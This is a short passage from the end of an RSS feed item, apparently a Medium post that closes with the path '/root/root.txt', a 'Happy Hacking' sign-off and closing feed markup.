/root/root.txt</pre><p>! Happy Hacking !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dc96665e3b86" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>